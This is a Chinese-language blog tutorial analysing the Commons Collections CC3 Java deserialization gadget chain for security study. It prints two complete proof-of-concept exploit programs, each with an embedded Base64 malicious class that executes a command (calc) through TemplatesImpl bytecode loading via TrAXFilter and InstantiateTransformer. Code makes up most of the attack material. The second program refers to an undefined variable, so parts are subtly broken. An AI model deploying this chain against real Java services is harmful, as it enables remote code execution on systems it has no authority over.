Java安全—CommonsCollections3

文章详细阐述了如何利用ApacheCommonsCollections库中的CC3漏洞,通过动态加载恶意字节码,结合Transformer和ChainedTransformer等工具,构建POC,以实现命令执行。主要步骤包括修改TemplatesImpl的_bytecodes字段,创建Transformer链,以及利用InstantiateTransformer构造TrAXFilter,触发newTransformer()方法。文章还提到了在不同场景下的变体和注意事项。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

引子

因为CC2链主要考察的是动态加载恶意字节码,而CC3也差不多,所以就选一个跟了,CC3链大体上是CC1和CC2链的结合,所以我我们只跟CC3链了。

在CC1中,我们为了调用方法使用了InvokerTransformer这个类完成回调,但是如果对其进行了限制,我们CC1就不能使用了,根据上文学习的动态加载字节码,TemplatesImpl动态加载字节码来替换掉原来的回调链。

过程

根据上文我们得到链子的过程为

newTransformer() ->getTransletInstance() -> defineTransletClasses()-> defineClass() 

相比于CC1链,需要我们修改的部分,也就是执行的部分

 Transformer[] transformers = new Transformer[]{new ConstantTransformer(templates),new InvokerTransformer("newTransformer",null,null)}; 

当我们条件足够然后调用

templates.newTransformer(); 

就可以动态加载恶意字节码了,其他的链的过程是不需要太多改变的。

根据以上所说我们可以向如下构造POC:

//jdk7u80
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections3 {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception {byte[] code = Base64.decodeBase64("yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABxMc2VyL2V2YWxDbGFzc1RlbXBsYXRlc0ltcGw7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHACkBAApTb3VyY2VGaWxlAQAbZXZhbENsYXNzVGVtcGxhdGVzSW1wbC5qYXZhDAAJAAoHAC4MAC8AMAEABGNhbGMMADEAMgEAE2phdmEvbGFuZy9FeGNlcHRpb24MADMACgEAGnNlci9ldmFsQ2xhc3NUZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAQAAQAJAAoAAQALAAAALwABAAEAAAAFKrcAAbEAAAACAAwAAAAGAAEAAAAJAA0AAAAMAAEAAAAFAA4ADwAAAAEAEAARAAIACwAAAD8AAAADAAAAAbEAAAACAAwAAAAGAAEAAAAVAA0AAAAgAAMAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAFAAVAAIAFgAAAAQAAQAXAAEAEAAYAAIACwAAAEkAAAAEAAAAAbEAAAACAAwAAAAGAAEAAAAaAA0AAAAqAAQAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAGQAaAAIAAAABABsAHAADABYAAAAEAAEAFwAIAB0ACgABAAsAAABhAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAMADAAAABYABQAAAAwACQAPAAwADQANAA4AEQAQAA0AAAAMAAEADQAEAB4AHwAAACAAAAAHAAJMBwAhBAABACIAAAACACM=");TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][] {code});setFieldValue(obj, "_name", "test");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());Transformer[] transformers = new Transformer[]{new ConstantTransformer(obj),new InvokerTransformer("newTransformer", null, null),};Transformer transformerChain = new ChainedTransformer(transformers);//包装innerMap,回调TransformedMap.decorateMap innerMap = new HashMap();innerMap.put("value", "xxxx");Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);//触发回调//outerMap.put("test", "xxxx");//反射调用AnnotationInvocationHandleClass clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);construct.setAccessible(true);Object obj1 = construct.newInstance(Retention.class, outerMap);//生成序列化数据ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(obj1);oos.close();System.out.println(barr);//反序列化ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray());ObjectInputStream ois = new ObjectInputStream(in);ois.readObject();}
} 

这里只是把执行类改写成了TemplatesImpl::newTransformer()。

但在ysoserial的CC3中还是有点不同的,该链中使用了TrAXFilter ,其中的构造方法调用了 (TransformerImpl) templates.newTransformer(),代替了InvokerTransformer调用newTransformer()。

public TrAXFilter(Templates templates)throwsTransformerConfigurationException
{_templates = templates;_transformer = (TransformerImpl) templates.newTransformer();_transformerHandler = new TransformerHandlerImpl(_transformer);_useServicesMechanism = _transformer.useServicesMechnism();
} 

我们需要一个实现了Transformer接口的类,去调用TrAXFilter的构造方法。用到了

InstantiateTransformer

public InstantiateTransformer(Class[] paramTypes, Object[] args) {super();iParamTypes = paramTypes;iArgs = args;
}

/**
 * Transforms the input Class object to a result by instantiation.
 * 
 * @param inputthe input object to transform
 * @return the transformed result
 */
public Object transform(Object input) {try {if (input instanceof Class == false) {throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a "+ (input == null ? "null object" : input.getClass().getName()));}Constructor con = ((Class) input).getConstructor(iParamTypes);return con.newInstance(iArgs);} 

里面的值可控,并且实现了该接口。

Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs); 

直接可以让con=TrAXFilter.class.getConstructor(templates)。

得到POC

//jdk7u80
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections3 {public static void main(String[] args) throws Exception {byte[] code = Base64.decodeBase64("yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABxMc2VyL2V2YWxDbGFzc1RlbXBsYXRlc0ltcGw7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHACkBAApTb3VyY2VGaWxlAQAbZXZhbENsYXNzVGVtcGxhdGVzSW1wbC5qYXZhDAAJAAoHAC4MAC8AMAEABGNhbGMMADEAMgEAE2phdmEvbGFuZy9FeGNlcHRpb24MADMACgEAGnNlci9ldmFsQ2xhc3NUZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAQAAQAJAAoAAQALAAAALwABAAEAAAAFKrcAAbEAAAACAAwAAAAGAAEAAAAJAA0AAAAMAAEAAAAFAA4ADwAAAAEAEAARAAIACwAAAD8AAAADAAAAAbEAAAACAAwAAAAGAAEAAAAVAA0AAAAgAAMAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAFAAVAAIAFgAAAAQAAQAXAAEAEAAYAAIACwAAAEkAAAAEAAAAAbEAAAACAAwAAAAGAAEAAAAaAA0AAAAqAAQAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAGQAaAAIAAAABABsAHAADABYAAAAEAAEAFwAIAB0ACgABAAsAAABhAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAMADAAAABYABQAAAAwACQAPAAwADQANAA4AEQAQAA0AAAAMAAEADQAEAB4AHwAAACAAAAAHAAJMBwAhBAABACIAAAACACM=");TemplatesImpl templatesImpl = new TemplatesImpl();setFieldValue(templatesImpl, "_bytecodes", new byte[][] {code});setFieldValue(templatesImpl, "_name", "test");setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[] { Templates.class },new Object[] { templatesImpl } ),};Transformer transformerChain = new ChainedTransformer(transformers);//包装innerMap,回调TransformedMap.decorateMap innerMap = new HashMap();innerMap.put("value", "xxxx");Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);//触发回调//outerMap.put("test", "xxxx");//反射调用AnnotationInvocationHandlesetFieldValue(transformerChain, "iTransformers", transformers);//生成序列化数据ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(obj);oos.close();System.out.println(barr);//反序列化ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray());ObjectInputStream ois = new ObjectInputStream(in);ois.readObject();}public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}
} 

具体分析一下就是重点在

Transformer[] transformers = new Transformer[] {new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers); 

TrAXFilter.class传给ConstantTransformer,那么就会返回TrAXFilter类,然后传给InstantiateTransformer,在InstantiateTransformer类中就会实例化TrAXFilter类,然而调用它的构造方法,进而调用newTransformer()方法,从而实现命令执行 。然后就是要找到调用ChainedTransformer.transform()的地方,才能对transformers 数组进行回调 ,然后就是CC1的部分了。

注意

POC中似乎有一段可以去掉

setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl()); 

根据我们上篇文章,该代码作用是_tfactory.getExternalExtensionsMap()调用TransformerFactoryImpl的getExternalExtensionsMap,因此_tfactory我们要注意赋值,并且是TransformerFactoryImpl的实例。而在本文中TemplatesImpl的readObject()中对其进行了初始化防止其为空值报错,所以就不需要我们设置了。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值